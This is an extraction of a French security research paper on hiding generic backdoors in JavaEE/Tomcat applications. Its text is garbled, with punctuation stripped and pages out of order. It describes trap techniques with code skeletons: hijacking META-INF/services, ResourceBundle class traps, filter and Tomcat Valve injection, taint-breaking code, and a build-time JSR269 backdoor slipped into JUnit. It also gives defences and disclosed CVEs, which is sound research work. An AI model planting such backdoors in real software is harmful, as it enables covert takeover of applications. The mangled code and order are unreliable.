Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 387

flux de traitement et ainsi capturer toutes les requetes HTTP A toutes ces questionsnous allons proposer des reponses et des solutions

Cette etude nrsquoa pas vocation a etre exhaustive sur les techniques drsquoattaques Elleen presente certaines tres efficaces et souvent innovantes

Une librairie de demonstrations inedites est proposee permettant de qualifier laprotection des applications contre des portes derobees generiques

Cette etude a produit trois alertes de securite la realisation de deux patchs pourles JDKs et trois outils drsquoanalyse et de durcissement du code Nous terminerons parla presentation des solutions actives et passives pour contrer ce type de menaces

Deux videos de demonstrations sont proposees La premiere est une simpledemonstration de la puissance de la porte derobee la seconde explique ensuitecomment se proteger contre ce type de menaces Elles sont disponibles ainsi que lesoutils ici httpmacarongooglecodecom

Cette etude se limite a Tomcat 6x avec un JDK 16010 et OpenJDK 1600-b12sous Windows et Linux Les vulnerabilites sont certainement efficaces avec drsquoautresserveurs drsquoapplications mais cela nrsquoa pas ete verifie

Cote client la porte derobee proposee a ete testee sur ndash Google Chrome 1015443 Windowsndash Firefox 305 Windows et Linuxndash Internet Explorer 70573013 Windowsndash Opera 963 Windows et Linuxndash Safari 321 Windows

1 Lrsquoobjectif du pirate

Du point de vue du pirate une porte derobee doit ndash resister a un audit du code de lrsquoapplication Sinon chaque developpeur qui

participe au projet peut fortuitement la decouvrir ndash resister aux evolutions futures du code Il ne doit pas y avoir de dependance

directe avec le code existant Une evolution de lrsquoapplication ne doit pas faireechec a la porte derobee

ndash contourner le pare-feu reseau et le pare-feu applicatif (Web Application Firewall ndashWAF) La communication avec la porte derobee doit etre invisible ou difficilementdiscernable drsquoun flux legitime

ndash contourner les outils drsquoanalyse de vulnerabilite dans le byte-code par propaga-tion de teinture sur les variables

De ce cahier des charges nous avons recherche differentes techniques pour atteindretous les objectifs que nous nous sommes fixes

388 Porte derobee dans les serveurs drsquoapplications JavaEE

Pour resister a un audit le code de la porte derobee ne doit pas etre presentdans les sources Lrsquoapplication ne doit pas lrsquoinvoquer directement Ainsi la porteest generalement exclue des audits Pour cela il faut que la simple presence drsquounearchive consideree a tord comme saine suffise a declencher lrsquoattaque

Pour ne pas dependre de lrsquoevolution du code applicatif le code doit utiliser desattaques generiques fonctionnant quelque soit lrsquoapplication

Pour contourner les pare-feu le code doit simuler une navigation drsquoun utilisateurIl doit respecter toutes les contraintes sur les URLs les champs presents dans lesrequetes le format de chaque champ etc Il ne peut pas ajouter de nouvelles URLsou de nouveaux champs

Pour contourner les outils drsquoanalyses de byte-code1 a la recherche de variablesnon saine lors de lrsquoinvocation de traitements risques il faut utiliser une ecriture decode specifique cassant la propagation de la teinture sur les variables

La methode ci-dessous casse la propagation des teintures sur les variables simple-ment en changeant le type de la donnee

private static String sanitize(String s)

char[] buf=new char[slength ()]

Systemarraycopy(stoCharArray () 0 buf 0 slength ())

return new String(buf)

2 Implementation

Le code de la porte derobee doit suivre plusieurs etapes pour srsquoinstaller definitivementdans le serveur drsquoapplication et etre capable de detourner le flux des traitements Cesetapes sont detaillees ci-dessous par ordre chronologique

ndash Piege de lrsquoapplicationndash Augmentation des privilegesndash Injection dans le flux de traitement des requetes HTTPndash Detection de lrsquoouverturendash Communication discretendash Execution des agents

21 Les pieges

La premiere etape consiste a initialiser la porte derobee Elle doit pouvoir demarreralors que le code applicatif ignore sa presence Pour cela il faut utiliser des piegespour permettre une execution de code par la simple presence drsquoune archive JAR

1 httpsuifstanfordedu~livshitspaperspdfthesispdf

P Prados 389

Les pieges sont des traitements caches executes a lrsquoinsu de lrsquoapplication Le codeapplicatif ou le serveur drsquoapplication nrsquoa pas a invoquer explicitement du code pourpermettre lrsquoexecution de traitements malveillants

Differentes techniques de pieges ont ete decouvertes lors de lrsquoetude Plusieursstrategies sont possibles pour les realiser

ndash Surcharge drsquoune classe ndash Ajout drsquoun fichier de parametrage ndash Exploitation des laquo services raquo ndash Exploitation de la programmation par aspects (AOP) ndash Exploitation drsquoun laquo Ressource Bundle raquo ndash Exploitation des annotations

22 Piege par laquo surcharge raquo

La surcharge drsquoune classe consiste a proposer plusieurs versions differentes de lameme classe dans des archives differentes En redefinissant une classe banale drsquounearchive le code du pirate sera execute a lrsquoinsu de lrsquoapplication

Java utilise un mecanisme de chargement dynamique des classes Une listedrsquoarchives (JARs) est consultee lors de la demande de chargement drsquoune classeLrsquoalgorithme installe le fichier class venant de la premiere archive etant capable delivrer le fichier de la classe Si lrsquoarchive ayant la classe modifiee est presente avantlrsquoarchive originale le pirate peut executer du code complementaire

Fig 1 Enchaınement de classes

Cette approche presente plusieurs inconvenients ndash Le code de la porte derobee est fortement dependant du code original ndash Il est difficile de deleguer les traitements sur lrsquooriginal Il faut alors recrire

lrsquooriginal pour simuler un comportement normal ndash La modification de lrsquooriginal peut entraıner le plantage de lrsquoapplication car la

copie nrsquoen tient pas compte

390 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash Lrsquoexecution nrsquoest pas garantie Cela depend de lrsquoordre de selection des archivespar la JVM

Cette approche est donc rejetee

23 Piege par laquo parametrage raquo

De nombreux frameworks utilisent des fichiers de parametrages indiquant desnoms de classes Certains recherchent des fichiers de parametres a differents endroitsdans les archives En placant un fichier de parametres dans un lieu prioritaire il estpossible drsquoexecuter du code

Piege du parametrage laquo Axis raquo Le premier exemple est le framework Axis de lafondation Apache Crsquoest un framework permettant lrsquoinvocation et la publication deservices Web Il recherche les fichiers de configuration dans lrsquoordre suivant (voir laclasse EngineConfigurationFactoryServlet)

ndash Fichier ltwarpathgtWEB-INFltparamwsddgtndash Ressource WEB-INFltparamwsddgt

ndash Ressource ltparamwsddgt

La presence du fichier dans WEB-INF drsquoune archive quelconque suffit a executerdu code lors de lrsquoinvocation du premier service Web Comme ces fichiers sont rarementmodifies par les projets il y a peu de chance qursquoil y ait un conflit avec une autrefonctionnalite du projet

Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer

Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API

Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite

Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes

1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-

Factory

2 httpjavasuncomj2se13docsguidejarjarhtml

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

